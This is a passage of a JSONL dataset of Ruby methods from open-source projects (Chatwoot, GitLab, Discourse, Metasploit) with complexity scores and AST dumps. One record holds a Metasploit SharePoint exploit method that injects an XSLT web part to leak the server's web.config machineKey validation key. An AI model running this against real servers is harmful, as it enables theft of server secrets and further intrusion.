end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_changes_to_save_should_not_mutate_array_of_hashes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"str\",\"children\":[\"Bill\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"changes_to_save\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"content\"]}]}]}]}","id":"730bdb4f-2f59-4f0e-9810-5ee13f4b9180"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/custom_exceptions/account.rb","start_line":5,"raw_source":"def message\n      if @data[:domain_blocked]\n        I18n.t 'errors.signup.blocked_domain'\n      elsif @data[:disposable]\n        I18n.t 'errors.signup.disposable_email'\n      elsif !@data[:valid]\n        I18n.t 'errors.signup.invalid_email'\n      end\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain_blocked\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.signup.blocked_domain\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disposable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.signup.disposable_email\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"valid\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.signup.invalid_email\"]}]},null]}]}]}]}","id":"3a474a9b-175e-4b2f-b75c-fa462b440ba7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/sharepoint_unsafe_control.rb","start_line":179,"raw_source":"def leak_web_config\n    print_status('Leaking the ViewState validation key...')\n\n    web_id = sharepoint_get_site_web_id('cookie' => cookie)\n    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id\n\n    webpart = <<~WEBPART\n      <%@ Register TagPrefix=\"WebPartPages\" Namespace=\"Microsoft.SharePoint.WebPartPage\" Assembly=\"Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c\" %>\n      <%@ Register TagPrefix=\"att\" Namespace=\"System.Web.UI.WebControls \" Assembly=\"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" %>\n    WEBPART\n    webpart << Nokogiri::XML(<<-WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n      <WebPartPages:XsltListFormWebPart id=\"id01\" runat=\"server\" ListDisplayName=\"#{datastore['SP_LIST'].encode(xml: :text)}\" WebId=\"{#{web_id.encode(xml: :text)}}\">\n        <DataSources>\n          <att:xmldatasource runat=\"server\" id=\"XDS1\"\n            XPath=\"/configuration/system.web/machineKey\"\n            datafile=\"c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config\" />\n        </DataSources>\n        <xsl>\n            <xsl:stylesheet version=\"2.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n                <xsl:output method=\"xml\" indent=\"yes\" />\n                <xsl:template match=\"/\">\n                    <xsl:copy-of select=\".\" />\n                </xsl:template>\n            </xsl:stylesheet>\n        </xsl>\n      </WebPartPages:XsltListFormWebPart>\n    WEBPART\n\n    envelope = '<?xml version=\"1.0\" encoding=\"utf-8\"?>'\n    envelope << Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n      <soap12:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\">\n        <soap12:Body>\n          <RenderWebPartForEdit xmlns=\"http://microsoft.com/sharepoint/webpartpages\">\n            <webPartXml>#{webpart.encode(xml: :text)}</webPartXml>\n          </RenderWebPartForEdit>\n        </soap12:Body>\n      </soap12:Envelope>\n    ENVELOPE\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'),\n      'cookie' => cookie,\n      'ctype' => 'application/soap+xml; charset=utf-8',\n      'data' => envelope\n    )\n\n    unless res\n      fail_with(Failure::Unreachable, \"Target did not respond to #{__method__}\")\n    end\n\n    unless res.code == 200\n      fail_with(Failure::NotFound, \"Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx')}\")\n    end\n\n    xml_response = res.get_xml_document\n    if xml_response.nil?\n      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)')\n    end\n\n    xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text\n    unless xml_result\n      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)')\n    end\n\n    xml_result = Nokogiri::XML(xml_result)\n    web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text)\n    unless web_part_pages&.root\n      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //Properties)')\n    end\n\n    unless (preview = web_part_pages.root.attr('__designer:Preview'))\n      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)')\n    end\n    preview = Nokogiri::HTML(CGI.unescapeHTML(preview))\n    unless (@validation_key = preview.at('//machinekey/@validationkey')&.text)\n      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)')\n    end\n\n    print_good(\"ViewState validation key: #{@validation_key}\")\n  end","complexity_score":83.3,"ast_json":"{\"type\":\"def\",\"children\":[\"leak_web_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Leaking the ViewState validation key...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"web_id\",{\"type\":\"send\",\"children\":[null,\"sharepoint_get_site_web_id\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[null,\"cookie\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_id\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve the site web ID\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"webpart\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<%@ Register TagPrefix=\\\"WebPartPages\\\" Namespace=\\\"Microsoft.SharePoint.WebPartPage\\\" Assembly=\\\"Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c\\\" %>\\n\"]},{\"type\":\"str\",\"children\":[\"<%@ Register TagPrefix=\\\"att\\\" Namespace=\\\"System.Web.UI.WebControls \\\" Assembly=\\\"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\\\" %>\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webpart\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      <WebPartPages:XsltListFormWebPart id=\\\"id01\\\" runat=\\\"server\\\" ListDisplayName=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SP_LIST\"]}]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\" WebId=\\\"{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_id\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"}\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"        <DataSources>\\n\"]},{\"type\":\"str\",\"children\":[\"          <att:xmldatasource runat=\\\"server\\\" id=\\\"XDS1\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            XPath=\\\"/configuration/system.web/machineKey\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            datafile=\\\"c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"        </DataSources>\\n\"]},{\"type\":\"str\",\"children\":[\"        <xsl>\\n\"]},{\"type\":\"str\",\"children\":[\"            <xsl:stylesheet version=\\\"2.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                <xsl:output method=\\\"xml\\\" indent=\\\"yes\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"                <xsl:template match=\\\"/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                    <xsl:copy-of select=\\\".\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"                </xsl:template>\\n\"]},{\"type\":\"str\",\"children\":[\"            </xsl:stylesheet>\\n\"]},{\"type\":\"str\",\"children\":[\"        </xsl>\\n\"]},{\"type\":\"str\",\"children\":[\"      </WebPartPages:XsltListFormWebPart>\\n\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\"]},\"ParseOptions\"]},\"NOBLANKS\"]}]},\"root\"]},\"to_xml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"save_with\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"envelope\",{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"envelope\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      <soap12:Envelope xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xmlns:xsd=\\\"http://www.w3.org/2001/XMLSchema\\\" xmlns:soap12=\\\"http://www.w3.org/2003/05/soap-envelope\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"        <soap12:Body>\\n\"]},{\"type\":\"str\",\"children\":[\"          <RenderWebPartForEdit xmlns=\\\"http://microsoft.com/sharepoint/webpartpages\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"            <webPartXml>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webpart\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"</webPartXml>\\n\"]},{\"type\":\"str\",\"children\":[\"          </RenderWebPartForEdit>\\n\"]},{\"type\":\"str\",\"children\":[\"        </soap12:Body>\\n\"]},{\"type\":\"str\",\"children\":[\"      </soap12:Envelope>\\n\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\"]},\"ParseOptions\"]},\"NOBLANKS\"]}]},\"root\"]},\"to_xml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"save_with\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"_vti_bin\"]},{\"type\":\"str\",\"children\":[\"WebPartPages.asmx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[null,\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/soap+xml; charset=utf-8\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"envelope\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target did not respond to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to retrieve \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"_vti_bin\"]},{\"type\":\"str\",\"children\":[\"WebPartPages.asmx\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xml_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_xml_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_response\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to extract the ViewState validation key (non-XML response body)\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"xml_result\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_response\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//wpp:RenderWebPartForEditResult\"]},{\"type\":\"const\",\"children\":[null,\"XML_NS\"]}]},\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_result\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"xml_result\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"web_part_pages\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_result\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//Properties\"]}]},\"text\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_part_pages\"]},\"root\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to extract the ViewState validation key (missing xpath: //Properties)\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"preview\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_part_pages\"]},\"root\"]},\"attr\",{\"type\":\"str\",\"children\":[\"__designer:Preview\"]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"preview\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescapeHTML\",{\"type\":\"lvar\",\"children\":[\"preview\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@validation_key\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preview\"]},\"at\",{\"type\":\"str\",\"children\":[\"//machinekey/@validationkey\"]}]},\"text\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ViewState validation key: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@validation_key\"]}]}]}]}]}]}","id":"03845b13-ada8-4ee0-a5fe-0089fa10e8ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/ci/scenario_examples.rb","start_line":17,"raw_source":"def self.fetch(qa_tests = nil)\n          new(qa_tests).fetch\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"qa_tests\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"qa_tests\"]}]},\"fetch\"]}]}","id":"e3b99f04-ca08-4fcc-9d83-961f645a945d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/problem_check/ram.rb","start_line":6,"raw_source":"def call\n    available_memory = MemInfo.new\n\n    return no_problem if available_memory.unknown?\n    return no_problem if available_memory.mem_total > 950_000\n\n    problem\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"available_memory\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MemInfo\"]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_memory\"]},\"unknown?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_problem\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_memory\"]},\"mem_total\"]},\">\",{\"type\":\"int\",\"children\":[950000]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_problem\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"problem\"]}]}]}","id":"20f1bca3-d6ca-44d8-b426-5a93ab9a4c90"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/teams/teams_provider.rb","start_line":38,"raw_source":"def self.get_message(post)\n    display_name = \"@#{post.user.username}\"\n    full_name =\n      if SiteSetting.enable_names && post.user.name.present?\n        post.user.name\n      else\n        \"\"\n      end\n\n    topic = post.topic\n\n    category = \"\"\n    if topic.category&.uncategorized?\n      category = \"[#{I18n.t(\"uncategorized_category_name\")}]\"\n    elsif topic.category\n      category =\n        (\n          if (topic.category.parent_category)\n            \"[#{topic.category.parent_category.name}/#{topic.category.name}]\"\n          else\n            \"[#{topic.category.name}]\"\n          end\n        )\n    end\n\n    message = {\n      \"@type\": \"MessageCard\",\n      summary: topic.title,\n      sections: [\n        {\n          activityTitle:\n            \"[#{topic.title} #{category} #{topic.tags.present? ? topic.tags.map(&:name).join(\", \") : \"\"}](#{post.full_url})\",\n          activitySubtitle:\n            post.excerpt(\n              SiteSetting.chat_integration_teams_excerpt_length,\n              text_entities: true,\n              strip_links: true,\n              remap_emoji: true,\n            ),\n          activityImage: post.user.small_avatar_url,\n          facts: [{ name: full_name, value: display_name }],\n          markdown: true,\n        },\n      ],\n    }\n\n    message\n  end","complexity_score":56.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"display_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},\"username\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"full_name\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_names\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},\"name\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]}]},{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"uncategorized?\"]},{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"uncategorized_category_name\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"parent_category\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"parent_category\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"MessageCard\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"summary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sections\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activityTitle\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"tags\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"tags\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", 